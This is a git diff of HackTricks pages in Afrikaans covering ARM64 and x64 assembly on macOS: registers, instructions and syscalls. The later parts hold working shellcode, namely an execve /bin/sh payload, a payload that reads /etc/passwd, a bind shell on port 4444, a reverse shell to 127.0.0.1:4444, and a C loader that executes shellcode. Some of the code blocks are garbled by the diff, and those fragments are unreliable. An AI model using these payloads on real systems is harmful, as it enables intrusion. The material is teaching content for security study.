5. **`x18`** - **Platformregister**. Dit kan as 'n algemene doelregister gebruik word, maar op sommige platforms is hierdie register gereserveer vir platformspefieke gebruike: Wysiger na die huidige draadomgewingsblok in Windows, of om te wys na die tans **uitvoerende taakstruktuur in die Linux-kernel**.
|
||||
6. **`x19`** tot **`x28`** - Hierdie is callee-bewaarde registers. 'n Funksie moet hierdie registers se waardes vir sy aanroeper bewaar, sodat hulle in die stok gestoor en herstel word voordat teruggekeer word na die aanroeper.
|
||||
7. **`x29`** - **Raamregister** om die stokraam dop te hou. Wanneer 'n nuwe stokraam geskep word omdat 'n funksie geroep word, word die **`x29`**-register in die stok gestoor en die nuwe raamregisteradres (die **`sp`**-adres) word in hierdie register gestoor.
|
||||
|
||||
* Hierdie register kan ook as 'n **algemene doelregister** gebruik word, alhoewel dit gewoonlik as verwysing na **plaaslike veranderlikes** gebruik word.
|
||||
|
||||
8. **`x30`** of **`lr`**- **Skakelregister**. Dit hou die **terugvoeradres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`**-waarde in hierdie register te stoor.
|
||||
|
||||
* Dit kan ook soos enige ander register gebruik word.
|
||||
* As die huidige funksie 'n nuwe funksie gaan roep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stok stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer spasie en kry nuwe `fp`) en dit aan die einde herstel, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en keer terug).
|
||||
|
||||
9. **`sp`** - **Stokaanwyser**, gebruik om die boonste deel van die stok dop te hou.
|
||||
|
||||
* die **`sp`**-waarde moet altyd ten minste 'n **kwadewoord** **uitlyn** word, anders kan 'n uitlynuitsondering voorkom.
|
||||
|
||||
10. **`pc`** - **Programteller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsonderingsgenerasies, uitsonderingsterugkeer en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met skakelinstruksies (BL, BLR) om die **`pc`**-adres in **`lr`** (Skakelregister) te stoor.
|
||||
11. **`xzr`** - **Nulregister**. Ook genoem **`wzr`** in sy **32**-bis registervorm. Dit kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer deur **`subs`** te gebruik soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
|
||||
|
||||
|
@ -60,6 +77,7 @@ Die **`Wn`**-registers is die **32-bis**-weergawe van die **`Xn`**-register.
|
|||
### SIMD- en Drijfpuntregisters
|
||||
|
||||
Daar is nog 'n ander **32 registers van 128-bis lengte** wat gebruik kan word in geoptimeerde enkele instruksie multiple data (SIMD) operasies en vir die uitvoering van drijfpuntberekeninge. Hierdie word die Vn-registers genoem, alhoewel hulle ook in **64**-bis, **32**-bis, **16**-bis en **8**-bis kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
|
||||
|
||||
### Sisteemregisters
|
||||
|
||||
**Daar is honderde sisteemregisters**, ook genoem spesiale doelregisters (SPRs), wat gebruik word vir **monitoring** en **beheer** van **verwerkers** se gedrag.\
|
||||
|
@ -90,7 +108,7 @@ Dit is die toeganklike velde:
|
|||
|
||||
{% hint style="warning" %}
|
||||
Nie al die instruksies werk hierdie vlagte by nie. Sommige soos **`CMP`** of **`TST`** doen dit, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook.
|
||||
{% endhint%}
|
||||
{% endhint %}
|
||||
|
||||
* Die huidige **registerbreedte (`nRW`) vlag**: As die vlag die waarde 0 behou, sal die program in die AArch64-uitvoeringsstaat hardloop sodra hervat.
|
||||
* Die huidige **Uitsonderingsvlak** (**`EL`**): 'n Gewone program wat in EL0 hardloop, sal die waarde 0 hê
|
||||
|
@ -120,7 +138,7 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde vanaf die geheueposisie wat deur `x1` aangedui word in `x0`.
|
||||
* **Offsetmodus**: 'n Offset wat die oorspronklike wyser beïnvloed, word aangedui, byvoorbeeld:
|
||||
* `ldr x2, [x1, #8]`, dit sal in x2 die waarde vanaf x1 + 8 laai
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n voorwerp laai vanaf die reeks x0, vanaf die posisie x1 (indeks) \* 4
|
||||
* `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n voorwerp laai vanaf die reeks x0, vanaf die posisie x1 (indeks) \* 4
|
||||
* **Vooraf-geïndekse modus**: Dit sal berekeninge toepas op die oorsprong, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor.
|
||||
* `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor
|
||||
* `str lr, [sp, #-4]!`, Berg die skakelregister in sp en werk die register sp by
|
||||
|
@ -181,12 +199,12 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* Voorbeeld: `tst X1, #7` Kontroleer of enige van die laaste 3 bits van X1 1 is
|
||||
* **`teq`**: XOR-operasie wat die resultaat verwerp
|
||||
* **`b`**: Onvoorwaardelike Sprong
|
||||
* Voorbeeld: `b myFunction` 
|
||||
* Voorbeeld: `b myFunction`
|
||||
* Let daarop dat dit nie die skakelregister met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat moet terugkeer nie)
|
||||
* **`bl`**: **Sprong** met skakel, gebruik om 'n **subrutine** te **roep**. Stoor die **terugkeeradres in `x30`**.
|
||||
* Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` op en stoor die terugkeeradres in `x30`.
|
||||
* Let daarop dat dit nie die skakelregister met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat moet terugkeer nie)
|
||||
* **`blr`**: **Sprong** met Skakel na Register, gebruik om 'n **subrutine** te **roep** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`. (Dit is 
|
||||
* **`blr`**: **Sprong** met Skakel na Register, gebruik om 'n **subrutine** te **roep** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`. (Dit is
|
||||
* Voorbeeld: `blr x1` — Dit roep die funksie waarvan die adres in `x1` bevat word op en stoor die terugkeeradres in `x30`.
|
||||
* **`ret`**: **Terugkeer** vanaf **subrutine**, tipies deur die adres in **`x30`** te gebruik.
|
||||
* Voorbeeld: `ret` — Dit keer terug vanaf die huidige subrutine deur die terugkeeradres in `x30` te gebruik.
|
||||
|
@ -220,7 +238,7 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
|
|||
* **`stur`**: **Stoor 'n registerwaarde na 'n geheueposisie**, met 'n verskuiwing vanaf 'n ander register.
|
||||
* Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue-adres wat 4 byte groter is as die adres wat tans in `x1` is.
|
||||
* **`svc`** : Maak 'n **sisteemaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit **van gebruikersmodus na kernelmodus** en spring na 'n spesifieke plek in die geheue waar die **kern se sisteemaanroephanterings**-kode geleë is.
|
||||
* Voorbeeld:
|
||||
* Voorbeeld:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Laai die sisteemaanroepnommer vir afsluiting (93) in register x8.
|
||||
|
@ -264,6 +282,7 @@ Die **`interworking`** vind plaas deur die J- en T-bits van CPSR. `J=0` en `T=0`
|
|||
Dit word ingestel tydens die **interworking takinstruksies**, maar kan ook direk met ander instruksies ingestel word wanneer die PC as die bestemmingsregister ingestel word. Voorbeeld:
|
||||
|
||||
'n Ander voorbeeld:
|
||||
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -274,15 +293,16 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
|
||||
### Registers
|
||||
|
||||
Daar is 16 32-bit registers (r0-r15). **Vanaf r0 tot r14** kan hulle gebruik word vir **enige operasie**, maar sommige van hulle is gewoonlik voorbehou:
|
||||
|
||||
- **`r15`**: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4.
|
||||
- **`r11`**: Raamwyser
|
||||
- **`r12`**: Intra-prosedurele oproepregister
|
||||
- **`r13`**: Stewelwyser
|
||||
- **`r14`**: Skakelregister
|
||||
* **`r15`**: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4.
|
||||
* **`r11`**: Raamwyser
|
||||
* **`r12`**: Intra-prosedurele oproepregister
|
||||
* **`r13`**: Stewelwyser
|
||||
* **`r14`**: Skakelregister
|
||||
|
||||
Verder word registers ondersteun in **`gebankte registre`**. Dit is plekke wat die registerwaardes stoor om vinnige konteksverandering in uitsonderingshantering en bevoorregte operasies moontlik te maak om die behoefte om registers elke keer handmatig te stoor en herstel te vermy.\
|
||||
Dit word gedoen deur **om die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerkermodus waarheen die uitsondering geneem word, te stoor. By die terugkeer van die uitsondering word die **`CPSR`** herstel vanaf die **`SPSR`**.
|
||||
|
@ -295,14 +315,14 @@ In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word dit ook
|
|||
|
||||
Die velde is verdeel in sekere groepe:
|
||||
|
||||
- Aansoekprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
|
||||
- Uitvoeringsstatusregistre: Proseshandeling (bestuur deur die OS).
|
||||
* Aansoekprogramstatusregister (APSR): Wiskundige vlae en toeganklik vanaf EL0
|
||||
* Uitvoeringsstatusregistre: Proseshandeling (bestuur deur die OS).
|
||||
|
||||
#### Aansoekprogramstatusregister (APSR)
|
||||
|
||||
- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
|
||||
- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heeltalversadiging plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende wiskundige instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig na 0 gestel word. Verder is daar geen instruksie wat sy waarde implisiet kontroleer nie, dit moet handmatig gelees word.
|
||||
- **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Enkel Instruksie, Meervoudige Data) operasies, soos "parallelle optel" en "parallelle aftrekking". Hierdie operasies maak dit moontlik om meervoudige data punte in 'n enkele instruksie te verwerk.
|
||||
* Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
|
||||
* Die **`Q`** vlag: Dit word op 1 gestel wanneer **heeltalversadiging plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende wiskundige instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig na 0 gestel word. Verder is daar geen instruksie wat sy waarde implisiet kontroleer nie, dit moet handmatig gelees word.
|
||||
* **`GE`** (Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Enkel Instruksie, Meervoudige Data) operasies, soos "parallelle optel" en "parallelle aftrekking". Hierdie operasies maak dit moontlik om meervoudige data punte in 'n enkele instruksie te verwerk.
|
||||
|
||||
Byvoorbeeld, die **`UADD8`** instruksie **tel vier pare van byte op** (vanaf twee 32-bit operandos) parallel op en stoor die resultate in 'n 32-bit register. Dit stel dan die `GE` vlae in die `APSR` in op grond van hierdie resultate. Elke GE-vlag stem ooreen met een van die byte optellings, wat aandui of die optelling vir daardie bytepaar **oorvloei**.
|
||||
|
||||
|
@ -310,14 +330,14 @@ Die **`SEL`** instruksie gebruik hierdie GE-vlae om voorwaardelike aksies uit te
|
|||
|
||||
#### Uitvoeringsstatusregistre
|
||||
|
||||
- Die **`J`** en **`T`** bietjies: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksiestel A32 gebruik, en as dit 1 is, word die T32 gebruik.
|
||||
- **IT Blokstatusregister** (`ITSTATE`): Dit is die bietjies vanaf 10-15 en 25-26. Hulle stoor voorwaardes vir instruksies binne 'n **`IT`** voorafgegaan groep.
|
||||
- **`E`** bietjie: Dui die **endianness** aan.
|
||||
- **Modus- en Uitsonderingsmaskerbietjies** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** een dui aan of die program as 32-bietjie (‘n 1) of 64-bietjie (‘n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommerstel **dui die huidige prioriteit** aan in geval 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
|
||||
* Die **`J`** en **`T`** bietjies: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksiestel A32 gebruik, en as dit 1 is, word die T32 gebruik.
|
||||
* **IT Blokstatusregister** (`ITSTATE`): Dit is die bietjies vanaf 10-15 en 25-26. Hulle stoor voorwaardes vir instruksies binne 'n **`IT`** voorafgegaan groep.
|
||||
* **`E`** bietjie: Dui die **endianness** aan.
|
||||
* **Modus- en Uitsonderingsmaskerbietjies** (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die **5de** een dui aan of die program as 32-bietjie (‘n 1) of 64-bietjie (‘n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommerstel **dui die huidige prioriteit** aan in geval 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word deur die bietjies **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verwant aan **Vinnige Onderbrekingsversoeke** (FIR's).
|
||||
* **`AIF`**: Sekere uitsonderings kan gedeaktiveer word deur die bietjies **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verwant aan **Vinnige Onderbrekingsversoeke** (FIR's).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -366,6 +386,7 @@ Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/doc
|
|||
* x2... -> Res van die argumente van die opgeroepde metode
|
||||
|
||||
Dus, as jy 'n breekpunt plaas voor die sprong na hierdie funksie, kan jy maklik vind wat in lldb opgeroep word met (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n bevel sal hardloop):
|
||||
|
||||
```
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
@ -382,9 +403,11 @@ Dus, as jy 'n breekpunt plaas voor die sprong na hierdie funksie, kan jy maklik
|
|||
whoami
|
||||
)
|
||||
```
|
||||
|
||||
### Shellkodes
|
||||
|
||||
Om te kompileer:
|
||||
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -392,69 +415,55 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
|
||||
Om die byte te onttrek:
|
||||
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C-kode om die shellkode te toets</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
int (\*sc)();
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
char shellcode\[] = "";
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
printf("\[>] Trying to execute shellcode...\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
sc = ptr; sc();
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
#### Skul
|
||||
|
||||
Geneem van [**hier**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) en verduidelik.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="met adr" %}
|
||||
<div data-gb-custom-block data-tag="tabs"></div>
|
||||
|
||||
<div data-gb-custom-block data-tag="tab" data-title='met adr'>
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -468,38 +477,27 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{% endtab %}
|
||||
````
|
||||
|
||||
{% tab title="met stapel" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
|
||||
; Prepare arguments for the execve syscall.
|
||||
|
||||
mov x1, #8 ; Set x1 to 8.
|
||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
|
||||
; Make the syscall.
|
||||
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
```
|
||||
````
|
||||
#### Lees met kat
|
||||
|
||||
Die doel is om `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` uit te voer, dus die tweede argument (x1) is 'n reeks van parameters (wat in die geheue 'n stapel van die adresse beteken).
|
||||
|
@ -527,8 +525,10 @@ svc 0 ; Make the syscall
|
|||
cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Roep die bevel aan met sh van 'n fork sodat die hoofproses nie afgeskiet word nie
|
||||
````
|
||||
|
||||
**Roep die bevel aan met sh van 'n fork sodat die hoofproses nie afgeskiet word nie**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -572,9 +572,11 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind skul
|
||||
|
||||
**Bind skul**
|
||||
|
||||
Bind skul van [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) in **poort 4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -656,9 +658,11 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Omgekeerde dop
|
||||
|
||||
**Omgekeerde dop**
|
||||
|
||||
Van [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -725,16 +729,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Inleiding tot x64
|
||||
# Introduction to x64
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -76,11 +76,13 @@ x64-instruksies het 'n ryk stel, wat verenigbaarheid met vorige x86-instruksies
|
|||
1. **Beweeg die huidige basisaanwyser na die stapelwyser**: `mov rsp, rbp` (deallokeer plaaslike veranderlikes)
|
||||
2. **Haal die ou basisaanwyser van die stapel af**: `pop rbp` (herstel die basisaanwyser van die aanroeper)
|
||||
3. **Keer terug**: `ret` (gee beheer terug aan die aanroeper)
|
||||
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
|
||||
Daar is verskillende klasse van syscalls, jy kan [**hulle hier vind**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
|
@ -89,7 +91,9 @@ Daar is verskillende klasse van syscalls, jy kan [**hulle hier vind**](https://o
|
|||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
|
||||
Dan kan jy elke syscallnommer [**in hierdie url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** vind.
|
||||
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
|
@ -106,6 +110,7 @@ Dan kan jy elke syscallnommer [**in hierdie url**](https://opensource.apple.com/
|
|||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
|
||||
So om die `open` syscall (**5**) van die **Unix/BSD-klas** te roep, moet jy dit byvoeg: `0x2000000`
|
||||
|
||||
Dus sal die syscall-nommer om open te roep `0x2000005` wees
|
||||
|
@ -138,59 +143,42 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
|||
<details>
|
||||
|
||||
<summary>C-kode om die shellcode te toets</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
